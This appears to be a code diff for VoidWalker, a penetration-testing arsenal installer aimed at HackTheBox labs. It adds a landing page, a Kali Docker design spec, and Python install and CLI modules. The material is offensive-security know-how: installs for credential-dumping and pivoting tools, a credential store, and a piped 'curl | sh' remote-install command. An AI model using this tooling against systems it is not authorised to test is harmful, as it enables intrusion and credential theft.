+ <div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">~/voidwalker</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="p">$</span> <span class="cmd">python3</span> <span class="arg">voidwalker.py</span><span id="hero-cur" class="cur" aria-hidden="true"></span>
+<span class="c">
+ [1] Install Full Arsenal (350+ tools)
+ [2] Select Categories
+ [4] System Packages (apt/brew)
+ [5] Install Metasploit
+ [6] Install AI Code Agents
+ [10] Fix / Harden Kali (pimpmykali)
+ [11] Deploy Pentest Environment (pe)
+ [12] Setup BloodHound-CE
+ [15] View Sources & Guides</span>
+<span class="p">β</span> <span class="arg">select option</span> <span class="c">[1-16]:</span> </code></pre>
+ </div>
+ </header>
+
+ <!-- ββ INSTALL ββ -->
+ <section class="sec" id="install">
+ <div class="sec__head">
+ <span class="sec__ey">install</span>
+ <h2>Two ways in. uv is the fast one.</h2>
+ </div>
+ <p class="sec__sub">Pure Python standard library β nothing to pip-install to run it. Clone and launch, or let <a href="https://github.com/astral-sh/uv">uv</a> manage an isolated environment.</p>
+
+ <div class="grid2">
+ <div class="term" aria-label="Install with uv">
+ <div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">uv Β· recommended</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="c"># get uv (Linux & macOS, amd64 + arm64)</span>
+<span class="cmd">curl</span> <span class="fl">-LsSf</span> <span class="str">https://astral.sh/uv/install.sh</span> | <span class="cmd">sh</span>
+
+<span class="c"># install the `voidwalker` command globally</span>
+<span class="cmd">uv</span> tool install <span class="arg">.</span>
+<span class="cmd">voidwalker</span> <span class="fl">--dry-run</span> <span class="c"># per-arch install plan</span>
+<span class="cmd">voidwalker</span> <span class="arg">selftest</span> <span class="c"># validate the catalog</span></code></pre>
+ </div>
+
+ <div class="term" aria-label="Run from a checkout">
+ <div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">checkout Β· pip</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="cmd">git</span> clone <span class="str">https://github.com/daemon-404/voidwalker.py.git</span>
+<span class="cmd">cd</span> <span class="arg">voidwalker.py</span>
+
+<span class="c"># straight from the checkout β no install</span>
+<span class="cmd">python3</span> <span class="arg">voidwalker.py</span>
+
+<span class="c"># β¦or install it, then use the command</span>
+<span class="cmd">pip</span> install <span class="arg">.</span> && <span class="cmd">voidwalker</span></code></pre>
+ </div>
+ </div>
+ <p class="note">Architecture-aware: on ARM, tools with no native binary route to a <span style="color:var(--pine)">go/cargo</span> source build instead of grabbing an x86 build that can't run. <code style="color:var(--pine)">voidwalker --dry-run</code> prints the exact plan for your machine.</p>
+ </section>
+
+ <!-- ββ COMMAND DECK ββ -->
+ <section class="sec" id="deck">
+ <div class="sec__head">
+ <span class="sec__ey">command deck</span>
+ <h2>One CLI, the whole engagement.</h2>
+ </div>
+ <p class="sec__sub">The interactive menu handles installs. These sub-commands run the day-to-day β offline search, Kali fixes, pivoting, and the folded-in toolkits. Global flags (<code style="font-family:var(--f-mono);color:var(--pine)">--theme</code>, <code style="font-family:var(--f-mono);color:var(--pine)">--dry-run</code>) go before the command.</p>
+
+ <div class="grid-cards">
+ <div class="card"><span class="card__tag">search</span><h3>poc</h3><p>Search PoC-in-GitHub for a CVE, offline.</p><code><span class="cmd">voidwalker</span> poc <span class="arg">CVE-2021-44228</span></code></div>
+ <div class="card"><span class="card__tag">search</span><h3>nse</h3><p>Find matching Nmap NSE scripts.</p><code><span class="cmd">voidwalker</span> nse <span class="arg">smb</span></code></div>
+ <div class="card"><span class="card__tag">search</span><h3>exploitdb</h3><p>Query Exploit-DB by keyword.</p><code><span class="cmd">voidwalker</span> exploitdb <span class="arg">wordpress</span></code></div>
+ <div class="card"><span class="card__tag">search</span><h3>dork</h3><p>Interactive Google dork generator.</p><code><span class="cmd">voidwalker</span> <span class="arg">dork</span></code></div>
+ <div class="card"><span class="card__tag">kali</span><h3>kali</h3><p>Fix / harden Kali via pimpmykali.</p><code><span class="cmd">voidwalker</span> kali <span class="fl">--newvm</span></code></div>
+ <div class="card"><span class="card__tag">env</span><h3>env</h3><p>Deploy the pe zsh/tmux environment.</p><code><span class="cmd">voidwalker</span> <span class="arg">env</span></code></div>
+ <div class="card"><span class="card__tag">graph</span><h3>bloodhound</h3><p>Install + start BloodHound-CE.</p><code><span class="cmd">voidwalker</span> <span class="arg">bloodhound</span></code></div>
+ <div class="card"><span class="card__tag">pivot</span><h3>proxy</h3><p>Wire proxychains4 to a SOCKS pivot.</p><code><span class="cmd">voidwalker</span> proxy <span class="arg">127.0.0.1:1080</span></code></div>
+ <div class="card"><span class="card__tag">evidence</span><h3>rec</h3><p>Record a shell / capture screenshots.</p><code><span class="cmd">voidwalker</span> rec shell <span class="arg">HTB-Cap</span></code></div>
+ </div>
+ </section>
+
+ <!-- ββ PE WORKSPACE ββ -->
+ <section class="sec" id="pe">
+ <div class="sec__head">
+ <span class="sec__ey">pe workspace</span>
+ <h2>An encrypted memory for the box.</h2>
+ </div>
+ <p class="sec__sub">Deploy once with <code style="font-family:var(--f-mono);color:var(--pine)">voidwalker env</code>, then <code style="font-family:var(--f-mono);color:var(--pine)">pe</code> works on its own β a SQLCipher store for flags, creds, hosts and notes, keyed to the active target. The prompt and tmux bar show which box you're on; <code>pe guide</code> opens the offline handbook.</p>
+
+ <div class="grid2">
+ <div class="term" aria-label="pe workspace commands">
+ <div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">pe Β· encrypted store</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="cmd">pe</span> init <span class="c"># set a passphrase; create the DB</span>
+<span class="cmd">pe</span> target add <span class="arg">Cap</span> <span class="fl">--ip</span> <span class="arg">10.10.10.245</span>
+<span class="cmd">pe</span> flag add <span class="arg">user</span> <span class="str">'HTB{...}'</span>
+<span class="cmd">pe</span> cred add <span class="fl">-u</span> <span class="arg">svc</span> <span class="fl">-s</span> <span class="str">'S3cr3t!'</span>
+<span class="cmd">pe</span> cheat <span class="arg">env</span> <span class="c"># how it all fits together</span>
+<span class="cmd">pe</span> backup <span class="c"># snapshot the encrypted DB</span></code></pre>
+ </div>
+ <div>
+ <p style="margin:0 0 4px;color:var(--subtle)">Five nouns, the same verbs (<code style="font-family:var(--f-mono);color:var(--pine)">add Β· ls Β· show Β· search Β· rm</code>):</p>
+ <div class="nouns">
+ <span class="noun"><b>pe target</b> Β· the box</span>
+ <span class="noun"><b>pe flag</b> Β· user/root</span>
+ <span class="noun"><b>pe cred</b> Β· creds & hashes</span>
+ <span class="noun"><b>pe host</b> Β· hosts & ports</span>
+ <span class="noun"><b>pe note</b> Β· findings</span>
+ </div>
+ <p class="note" style="border-color:var(--iris)">Shell sugar from the env: <code style="color:var(--pine)">newbox Cap 10.10.10.245</code> registers a target and drops you into <code style="color:var(--pine)">~/htb/Cap</code>; <code style="color:var(--pine)">scan</code> runs a recorded nmap; Ctrl-X f pastes a flag.</p>
+ </div>
+ </div>
+ </section>
+
+ <!-- ββ KALI DOCKER BOX ββ -->
+ <section class="sec" id="docker">
+ <div class="sec__head">
+ <span class="sec__ey">kali docker box</span>
+ <h2>The Parallels VM, containerised.</h2>
+ </div>
+ <p class="sec__sub">A headless, repeatable Kali box that reuses VoidWalker as its installer and environment. Baked lean HTB arsenal, native host architecture, the VPN running <b>inside</b> the container. Driven by one wrapper: <code style="font-family:var(--f-mono);color:var(--pine)">hbox</code>.</p>
+
+ <div class="steps">
+ <div class="step">
+ <div class="step__hd"><span class="step__n">1</span><h3>Build</h3></div>
+ <div class="term"><div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">host</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="cmd">cd</span> docker && <span class="cmd">cp</span> <span class="arg">.env.example .env</span>
+<span class="cmd">./bin/hbox</span> <span class="arg">build</span> <span class="c"># bakes the arsenal (~20β40m)</span></code></pre></div>
+ </div>
+ <div class="step">
+ <div class="step__hd"><span class="step__n">2</span><h3>Enter</h3></div>
+ <div class="term"><div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">host</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="cmd">./bin/hbox</span> <span class="arg">up</span> && <span class="cmd">./bin/hbox</span> <span class="arg">shell</span>
+<span class="c"># tmux session; prefix = C-a or C-b</span></code></pre></div>
+ </div>
+ <div class="step">
+ <div class="step__hd"><span class="step__n">3</span><h3>Connect</h3></div>
+ <div class="term"><div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">host β vpn inside</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="c"># drop .ovpn files in docker/vpn/</span>
+<span class="cmd">./bin/hbox</span> vpn up <span class="arg">lab.ovpn</span>
+<span class="cmd">./bin/hbox</span> vpn <span class="arg">status</span></code></pre></div>
+ </div>
+ <div class="step">
+ <div class="step__hd"><span class="step__n">4</span><h3>Verify</h3></div>
+ <div class="term"><div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">inside the box</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="cmd">./bin/hbox</span> <span class="arg">verify</span> <span class="c"># smoke-test tools</span>
+<span class="cmd">pe</span> init; <span class="cmd">newbox</span> <span class="arg">Cap 10.10.10.245</span></code></pre></div>
+ </div>
+ </div>
+
+ <h3 style="font-family:var(--f-display);font-weight:600;color:var(--text);margin:26px 0 10px;font-size:19px">What persists</h3>
+ <p class="sec__sub" style="margin-bottom:12px">Tools are baked into the image by a repeatable build. Your data lives on volumes and survives rebuilds.</p>
+ <table class="tbl">
+ <thead><tr><th>Host / volume</th><th>In container</th><th>Holds</th></tr></thead>
+ <tbody>
+ <tr><td><code>docker/work/</code></td><td><code>/root/htb</code></td><td>per-box workdirs</td></tr>
+ <tr><td><code>docker/vpn/</code></td><td><code>/root/vpn</code> (ro)</td><td>your .ovpn files</td></tr>
+ <tr><td><code>htb-pe-data</code></td><td><code>β¦/pentest-env</code></td><td>encrypted flags/creds DB</td></tr>
+ <tr><td><code>htb-state</code></td><td><code>/root/.local/state</code></td><td>pe key Β· zsh history Β· VPN/runtime state (tmux panes are not persisted)</td></tr>
+ </tbody>
+ </table>
+
+ <div class="grid2" style="margin-top:22px">
+ <div class="term" aria-label="Portability commands">
+ <div class="term__bar"><span class="dot dot--love"></span><span class="dot dot--gold"></span><span class="dot dot--foam"></span><span class="term__name">run it anywhere</span><button class="copy" type="button">copy</button></div>
+ <pre class="term__body"><code><span class="c"># ship the built image (offline, no rebuild)</span>
+<span class="cmd">./bin/hbox</span> save <span class="arg">htb-kali.tgz</span>
+<span class="cmd">./bin/hbox</span> load <span class="arg">htb-kali.tgz</span> <span class="c"># on the other machine</span>
+77 more lines not shown.
docs/superpowers/specs/2026-07-02-kali-htb-docker-design.md
new file mode 100644
@@ -0,0 +1,133 @@
+# Kali HTB Docker Environment β Design
+
+**Date:** 2026-07-02
+**Status:** Approved-by-default (author away during brainstorming; recommended options taken)
+**Author/driver:** Claude (Fable 5) with DAEMON
+
+## Goal
+
+A portable, repeatable Kali Linux Docker environment that replaces a Parallels
+VM for HackTheBox Academy / Labs / CTF work on macOS or Linux, reusing the
+existing **voidwalker** project as both the tool installer and the shell/tmux
+environment template. The image must build and run anywhere Docker runs.
+
+## Decisions (locked)
+
+| Fork | Choice | Why |
+| --- | --- | --- |
+| Arsenal scope | **Lean HTB kit** | Curated apt list + pipx/uv/go/gem + arch-aware droppable binaries + pentest-env. Covers HTB Academy + most Pro Labs on the host's native amd64/arm64 architecture; ~4β6 GB. Skips the fragile .NET/C# `net462` source-build pipeline and heavyweight C2 servers. |
+| Tool delivery | **Baked into image** | One portable artifact: run offline, `docker push`/`pull`, or `docker save` tarball. Work data lives on volumes, tools live in image layers. |
+| GUI | **CLI/TUI only** | Headless container. Burp Suite / Wireshark run natively on macOS; container HTTP routes through Burp via `host.docker.internal`. XQuartz X11 documented as an optional appendix. |
+| voidwalker in image | **Bundled** | `voidwalker`, `pe`, `poc`, `nse`, `exploitdb` usable inside the container; image can self-extend. |
+| Base image | `${KALI_IMAGE}` (default `kalilinux/kali-rolling`) | Official multi-arch image; Docker selects the host architecture unless `DOCKER_DEFAULT_PLATFORM` requests a cross-build. |
+| Prompt | voidwalker's Rose Pine `prompt.zsh` | The user's stated real preference ("voidwalker sets up kali the way I want"); starship documented as an optional swap. |
+
+## Architecture
+
+Single service, built in layered stages. **voidwalker is the single source of
+truth**: its data lists (`APT_TOOLS`, `PIPX_TOOLS`, `GO_TOOLS`, `GEM_TOOLS`,
+`UV_TOOLS`), its arch-aware binary catalog + downloader
+(`install_cross_platform_tools`, `install_special_tool`), and its `pentest-env`
+(`install.sh`) are reused rather than reimplemented.
+
+```
+docker/
+βββ Dockerfile # layered build; configurable official Kali base
+βββ Dockerfile.dockerignore # scoped ignore (context = repo root)
+βββ provision.py # DRY driver: imports voidwalker data + reuses its downloaders
+βββ entrypoint.sh # first-run: tun perms, pe init hint, GPG_TTY, exec shell
+βββ docker-compose.yml # caps (NET_ADMIN) + /dev/net/tun + volumes
+βββ .env.example # IMAGE_TAG, KALI_IMAGE, optional cross-build platform
+βββ bin/hbox # host-side wrapper: build/up/shell/vpn/save/...
+βββ config/
+β βββ htb.zshrc # container zsh tweaks (HISTFILE, GPG_TTY, PE_WORKROOT, PATH)
+β βββ htb.tmux.conf # container tmux safety and usability tweaks
+β βββ htb # in-container VPN + workflow helper
+βββ README.md
+βββ .gitignore # ignore ./work, ./vpn, .env
+```
+
+### Build layers (cache-friendly, coarseβfine)
+
+1. **Base + toolchains + pentest-env deps** β apt core: `ca-certificates curl
+ git gnupg sudo python3 python3-pip pipx golang-go ruby ruby-dev
+ build-essential zsh tmux sqlcipher fzf bat ripgrep fd-find eza jq xclip bsdextrautils
+ pinentry-curses openvpn iproute2 iputils-ping dnsutils openssh-client`.
+2. **voidwalker install** β `COPY` the `voidwalker/` package + `pyproject.toml`
+ + `README.md` + `LICENSE`; `pip install --break-system-packages`. Gives the
+ `voidwalker` CLI and importable package (with bundled pentest-env assets).
+3. **Arsenal apt layer** β `provision.py --print-apt` emits `APT_TOOLS` minus a
+ `CONTAINER_SKIP` set (GUI/wireless: ghidra, autopsy, wireshark GUI,
+ aircrack-ng, wifite, kismet, reaver, dirbuster, veil, β¦); batched
+ `apt-get install` with per-package fallback.
+4. **Language + binaries layer** β `provision.py --all`:
+ - pipx: curated HTB subset of `PIPX_TOOLS`;
+ - uv: `UV_TOOLS` (impacket, netexec, certipy-ad, bloodyad, bofhound);
+ - go: `GO_TOOLS` (ffuf, nuclei, httpx, katana, β¦) via `go install`;
+ - gem: `GEM_TOOLS`;
+ - arch-aware binaries via voidwalker `install_cross_platform_tools()` +
+ `install_special_tool()` β `~/voidwalker/tools/...` (all transfer variants,
+ incl. Windows droppables), kerbrute onto PATH;
+ - `WORKSPACE_DIRS` scaffold + convenience symlinks (linpeas, pspy, chisel,
+ ligolo) for the host arch into `/usr/local/bin`.
+5. **pentest-env deploy** β `voidwalker env --no-wm --no-theme --no-fonts
+ --no-deps` (oh-my-zsh + 4 custom plugins + tpm + rc wiring + `pe` symlink).
+ Then wipe any partial `pe` DB so first-run init is clean. Append container
+ snippets to `~/.zshrc` / `~/.tmux.conf`.
+6. **Runtime wiring** β `COPY` entrypoint + `htb` helper; `ENTRYPOINT`
+ `entrypoint.sh`; default `CMD ["zsh","-l"]`.
+
+### Networking / HTB VPN (macOS Docker Desktop reality)
+
+- `--network host` does **not** reach the Mac LAN on Docker Desktop (host = the
+ LinuxKit VM). So the HTB VPN runs **inside** the container.
+- Requires `cap_add: [NET_ADMIN]` + `devices: [/dev/net/tun]`. Entrypoint
+ ensures `/dev/net/tun` exists. HTB targets are reachable via `tun0` in the
+ container netns; internet egress via Docker NAT.
+- `htb up <file.ovpn>` starts openvpn (background) and waits for `tun0`; `htb
+ down`; `htb ip`. `.ovpn` files bind-mounted read-only from the host.
+
+### Persistence (volumes chosen to never clobber baked tools)
+
+| Mount | Target | Type | Holds |
+| --- | --- | --- | --- |
+| `./work` | `/root/htb` | bind | per-box workdirs (`newbox`/`scan` write here; `PE_WORKROOT`) |
+| `./vpn` | `/root/vpn` (ro) | bind | HTB `.ovpn` files |
+| `htb-pe-data` | `/root/.local/share/pentest-env` | volume | encrypted flags/creds DB + backups |
+| `htb-state` | `/root/.local/state` | volume | pe keyfile/active target, zsh history, VPN/runtime state; tmux panes are intentionally not serialized |
+
+`~/.local/share` as a whole is **not** mounted (would hide baked pipx tools);
+only the `pentest-env` subdir is.
+
+### First-run behaviour (entrypoint)
+
+1. Ensure `/dev/net/tun` (mknod if missing).
+2. `export GPG_TTY`, fix perms on mounted state dirs.
+3. If no `pe` DB and interactive: print a one-line hint to run `pe init` (needs
+ a passphrase β must stay interactive; not auto-run).
+4. `exec "$@"` (default `zsh -l`; `hbox shell` attaches tmux).
+
+### Portability
+
+- Self-contained `docker/` folder; build context = repo root so the build can
+ reuse the `voidwalker/` package.
+- `hbox save` β `docker save | gzip` tarball; `hbox load` on any machine.
+- Optional registry push documented. Because tools are baked, the image runs
+ fully offline.
+
+## Non-goals (YAGNI)
+
+- No .NET/C# source-build pipeline (drop-in prebuilt Windows binaries instead).
+- No BSPWM/polybar/XFCE rice (X11 GUI; irrelevant headless).
+- No wireless tooling (no radio in a container).
+- No always-on GUI apps (run Burp/Wireshark on macOS).
+
+## Verification plan
+
+1. Static: `python3 -m py_compile provision.py`; `bash -n` on scripts; `docker
+ compose config`.
+2. Build: `hbox build` (Docker Desktop must be running).
+3. Smoke: inside the container β `nmap --version`, `ffuf -V`, `nxc --version`,
+ `impacket-secretsdump -h`, `pe help`, `voidwalker --version`, `linpeas`
+ symlink present, `tmux` loads config, zsh env loads with prompt.
+4. VPN: `htb up lab.ovpn` β `tun0` appears β target reachable.pyproject.toml
new file mode 100644
@@ -0,0 +1,41 @@
+[build-system]
+requires = ["setuptools>=61.0"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "voidwalker"
+description = "Elite penetration-testing arsenal builder & workspace manager (multi-OS / multi-arch)"
+readme = "README.md"
+license = { file = "LICENSE" }
+requires-python = ">=3.8"
+keywords = ["pentest", "red-team", "security", "arsenal", "htb", "arm64", "aarch64"]
+classifiers = [
+ "Programming Language :: Python :: 3",
+ "Operating System :: POSIX :: Linux",
+ "Operating System :: MacOS :: MacOS X",
+ "Environment :: Console",
+ "Topic :: Security",
+]
+# Pure standard-library: no runtime dependencies.
+dependencies = []
+dynamic = ["version"]
+
+[project.scripts]
+voidwalker = "voidwalker.cli:main"
+
+[project.urls]
+Homepage = "https://github.com/daemon-404/voidwalker.py"
+
+[tool.setuptools.dynamic]
+version = { attr = "voidwalker.version.__version__" }
+
+[tool.setuptools]
+include-package-data = true
+
+[tool.setuptools.packages.find]
+include = ["voidwalker*"]
+
+# Ship the vendored integration engines (pimpmykali + pentest-env) as package
+# data so `pip install .` carries the shell payloads VoidWalker drives.
+[tool.setuptools.package-data]
+"voidwalker.integrations" = ["assets/**/*", "assets/**/.*"]voidwalker.py
new file mode 100644
@@ -0,0 +1,19 @@
+#!/usr/bin/env python3
+"""VoidWalker launcher.
+
+The implementation now lives in the :mod:`voidwalker` package. This thin shim
+keeps the historical ``python3 voidwalker.py [command]`` invocation working when
+running straight from a checkout (no install needed). Once installed via
+``pip install .`` the ``voidwalker`` console command does the same thing.
+"""
+
+import os
+import sys
+
+# Make the package importable when run as a loose script from the repo root.
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+
+from voidwalker.cli import main
+
+if __name__ == "__main__":
+ main()voidwalker/__init__.py
new file mode 100644
@@ -0,0 +1,19 @@
+"""VoidWalker β penetration-testing arsenal builder & workspace manager.
+
+A modular Python package (formerly a single 4,000-line script) that provisions
+an offensive workstation across Linux/macOS and x86_64/ARM hardware, scaffolds
+an Obsidian engagement vault, and ships offline search helpers.
+"""
+
+from .version import __version__
+
+__all__ = ["__version__", "VoidWalker"]
+
+
+def __getattr__(name):
+ # Lazy import so `import voidwalker` (and `--version`) stays cheap and avoids
+ # pulling the full installer stack until the orchestrator is actually used.
+ if name == "VoidWalker":
+ from .core import VoidWalker
+ return VoidWalker
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")voidwalker/__main__.py
new file mode 100644
@@ -0,0 +1,6 @@
+"""Enable `python -m voidwalker`."""
+
+from .cli import main
+
+if __name__ == "__main__":
+ main()voidwalker/_core_methods.py
new file mode 100644
@@ -0,0 +1,253 @@
+"""Core orchestration methods mixed into the VoidWalker class.
+
+Auto-extracted from the original monolithic voidwalker.py; method bodies are
+unchanged except where noted. Part of the VoidWalker package refactor.
+"""
+from __future__ import annotations
+
+import gzip
+import json
+import os
+import re
+import shutil
+import signal
+import subprocess
+import sys
+import tarfile
+import tempfile
+import threading
+import time
+import random
+import urllib.parse
+import urllib.request
+import zipfile
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from pathlib import Path
+from typing import Dict, List, Optional, Tuple
+from urllib.error import HTTPError, URLError
+
+from .version import __version__
+from .theme import Colors, Symbols
+from .hostinfo import HostInfo, select_asset
+from .data.workspace import WORKSPACE_DIRS
+from .data.catalog import TOOL_CATEGORIES
+from .data.packages import (
+ APT_TOOLS, BREW_TOOLS, BREW_CASKS, PIPX_TOOLS,
+ GO_TOOLS, CARGO_TOOLS, GEM_TOOLS, UV_TOOLS,
+)
+from .data.binaries import CROSS_PLATFORM_TOOLS, SPECIAL_TOOLS
+from .data.build_targets import BUILD_TARGETS
+from .data.sources import SOURCES_AND_GUIDES
+
+
+class _CoreMethods:
+ def log(self, message: str):
+ """Append a message to the log file with a timestamp."""
+ try:
+ self.base_path.mkdir(parents=True, exist_ok=True)
+ timestamp = time.strftime("%Y-%m-%d %H:%M:%S")
+ with open(self.log_file, "a", encoding="utf-8") as f:
+ f.write(f"[{timestamp}] {message}\n")
+ except Exception:
+ pass
+
+ def signal_handler(self, sig, frame):
+ self.running = False
+ self.clear_screen()
+ self.print_centered(f"{Colors.BRIGHT_RED}Installation interrupted!{Colors.RESET}")
+ print()
+ sys.exit(0)
+
+ def install_category(self, category: str):
+ if category not in TOOL_CATEGORIES:
+ return
+
+ data = TOOL_CATEGORIES[category]
+ base_dir = self.base_path / "tools"
+ dest = base_dir / category.lower().replace(" ", "_").replace("&", "and")
+
+ all_items = []
+ if 'tools' in data:
+ for item in data['tools']:
+ all_items.append(('tool', item[0], item[1], item[2]))
+ if 'files' in data:
+ for item in data['files']:
+ all_items.append(('file', item[0], 'file', item[1]))
+ if 'repos' in data:
+ for item in data['repos']:
+ all_items.append(('repo', item[0], 'git', item[1]))
+
+ # Honour a category's `special` key (cross-platform binaries such as
+ # chisel/ligolo-ng), which the old generic loop silently ignored.
+ if data.get('special'):
+ self.install_cross_platform_tools(only=set(data['special']))
+
+ if not all_items:
+ return
+
+ cat_success, cat_fail = 0, 0
+ total_items = len(all_items)
+ short_name = category[:18] if len(category) > 18 else category
+
+ def download_worker(item):
+ item_type, name, method, url = item
+ if item_type == 'tool':
+ if method == "file": return self.download_file(url, dest / name)
+ elif method == "zip": return self.download_and_extract_zip(url, dest / name.lower())
+ elif method == "git": return self.git_clone(url, dest / name)
+ elif item_type == 'file':
+ return self.download_file(url, dest / name)
+ elif item_type == 'repo':
+ return self.git_clone(url, dest / name)
+ return False
+
+ completed = 0
+ self.show_live_status(short_name, completed, total_items, "Starting threads...", "downloading")
+
+ with ThreadPoolExecutor(max_workers=10) as executor:
+ future_to_item = {executor.submit(download_worker, item): item for item in all_items}
+ for future in as_completed(future_to_item):
+ completed += 1
+ if future.result():
+ cat_success += 1
+ self.stats["ok"] += 1
+ else:
+ cat_fail += 1
+ self.stats["fail"] += 1
+
+ self.show_live_status(short_name, completed, total_items, f"Processing {completed}/{total_items}", "downloading")
+
+ self.complete_status_line(short_name, cat_success, cat_fail)
+
+ def install_full_arsenal(self):
+ categories = list(TOOL_CATEGORIES.keys())
+ if not self.show_installation_preview(categories):
+ print(f"\n{Colors.YELLOW}Installation cancelled.{Colors.RESET}")
+ time.sleep(1)
+ return
+
+ self.clear_screen()
+ self.show_ascii_banner()
+
+ print()
+ self.print_centered(f"{Colors.NEON_MAGENTA}{Symbols.ROCKET} FULL ARSENAL INSTALLATION {Symbols.ROCKET}{Colors.RESET}")
+ print()
+
+ for d in WORKSPACE_DIRS:
+ (self.base_path / d).mkdir(parents=True, exist_ok=True)
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Workspace created at {self.base_path}{Colors.RESET}")
+
+ self.install_system_tools()
+
+ for category in categories:
+ self.install_category(category)
+
+ print()
+ self.show_summary()
+
+ def install_categories(self, categories: List[str]):
+ if not self.show_installation_preview(categories):
+ print(f"\n{Colors.YELLOW}Installation cancelled.{Colors.RESET}")
+ time.sleep(1)
+ return
+
+ self.clear_screen()
+ self.show_ascii_banner()
+
+ print()
+ self.print_centered(f"{Colors.NEON_MAGENTA}{Symbols.ROCKET} INSTALLING SELECTED CATEGORIES {Symbols.ROCKET}{Colors.RESET}")
+ print()
+
+ for d in WORKSPACE_DIRS:
+ (self.base_path / d).mkdir(parents=True, exist_ok=True)
+
+ for category in categories:
+ self.install_category(category)
+
+ print()
+ self.show_summary()
+
+ def show_summary(self):
+ print()
+ self.print_centered(f"{Colors.NEON_MAGENTA}{'β' * 50}{Colors.RESET}")
+ self.print_centered(f"{Colors.NEON_CYAN}{Symbols.STAR} INSTALLATION COMPLETE {Symbols.STAR}{Colors.RESET}")
+ self.print_centered(f"{Colors.NEON_MAGENTA}{'β' * 50}{Colors.RESET}")
+ print()
+
+ stats = [
+ f"{Colors.NEON_GREEN}{Symbols.CHECK} Successful: {self.stats['ok']}{Colors.RESET}",
+ f"{Colors.BRIGHT_RED}{Symbols.CROSS} Failed: {self.stats['fail']}{Colors.RESET}",
+ f"{Colors.ELECTRIC_BLUE}Tools installed to: {self.base_path}{Colors.RESET}",
+ ]
+
+ self.draw_box(f"{Symbols.SHIELD} SUMMARY", stats, 50)
+ print()
+
+ input(f"{Colors.GRAY}Press Enter to continue...{Colors.RESET}")
+
+ def run(self):
+ self.show_intro_animation()
+
+ while self.running:
+ choice = self.show_main_menu()
+
+ if choice == "exit":
+ self.clear_screen()
+ self.print_centered(f"{Colors.NEON_MAGENTA}")
+ self.print_centered("βββββββββββββββββββββββββββββββββββββββββββββ")
+ self.print_centered("β Thanks for using VoidWalker! β")
+ self.print_centered("β Stay safe, hack responsibly β")
+ self.print_centered("βββββββββββββββββββββββββββββββββββββββββββββ")
+ print(Colors.RESET)
+ break
+
+ elif choice == "full":
+ self.install_full_arsenal()
+
+ elif choice == "categories":
+ selected = self.show_category_menu()
+ if selected:
+ self.install_categories(selected)
+
+ elif choice == "list":
+ self.show_tool_list()
+
+ elif choice == "apt":
+ self.install_system_tools()
+
+ elif choice == "metasploit":
+ self.install_metasploit()
+
+ elif choice == "aiclis":
+ self.install_ai_clis()
+
+ elif choice == "windows":
+ self.install_windows_binaries()
+
+ elif choice == "build":
+ self.build_all_tools()
+
+ elif choice == "vault":
+ self.setup_obsidian_vault()
+
+ elif choice == "kalifix":
+ self.kali_fix_menu()
+
+ elif choice == "pentestenv":
+ self.pentest_env_menu()
+
+ elif choice == "bloodhound":
+ self.bloodhound_menu()
+
+ elif choice == "proxy":
+ self.proxy_menu()
+
+ elif choice == "rootsetup":
+ self.root_setup_menu()
+
+ elif choice == "rec":
+ self.run_recorder_menu()
+
+ elif choice == "sources":
+ self.show_sources()
+voidwalker/cli.py
new file mode 100644
@@ -0,0 +1,228 @@
+"""Command-line entry point and sub-command dispatch.
+
+Preserves the original commands (``poc``/``nse``/``shodan``/``exploitdb``/``dork``
+and the bare interactive installer) and adds:
+
+* ``--theme NAME`` β switch the colour palette (also ``VOIDWALKER_THEME`` env);
+* ``--dry-run`` β print the detected host and exactly what *would* be
+ installed for this architecture, without downloading anything;
+* ``selftest`` β offline validation of the catalog (see :mod:`.selftest`).
+
+Integrations folded into VoidWalker (see :mod:`.integrations`):
+
+* ``kali [flags]`` β the *pimpmykali* Kali fix/harden engine (passthrough);
+* ``env [flags]`` β deploy the *pentest-env* ``pe`` toolkit (``install.sh``);
+* ``pe <args>`` β passthrough to the encrypted ``pe`` workspace manager;
+* ``pt [flags]`` β install Parallels Tools in a Kali guest (``pt-install``);
+* ``bloodhound`` β install + configure BloodHound-CE via ``bloodhound-cli``;
+* ``proxy [h:p]`` β wire proxychains4 to a SOCKS pivot;
+* ``rec [shell|shot]`` β record a shell / capture screenshots for the engagement log.
+
+Global options (``--theme``/``--dry-run``/``-v``) must precede the command so the
+remaining tokens can be passed verbatim to the integration that owns them.
+"""
+
+from __future__ import annotations
+
+import argparse
+import os
+import sys
+
+from .version import __version__
+from .theme import Colors, Symbols, apply_theme, list_themes
+from .hostinfo import HostInfo
+from .search import (
+ search_poc, search_nse, search_exploitdb, search_shodan, dork_generator,
+)
+
+
+def _err(msg: str, example: str) -> None:
+ print(f"{Colors.BRIGHT_RED}Error: {msg}{Colors.RESET}")
+ print(f"{Colors.GRAY}Example: {example}{Colors.RESET}")
+ sys.exit(1)
+
+
+def _dry_run(host: HostInfo) -> None:
+ """Print the install plan for the detected architecture (no downloads)."""
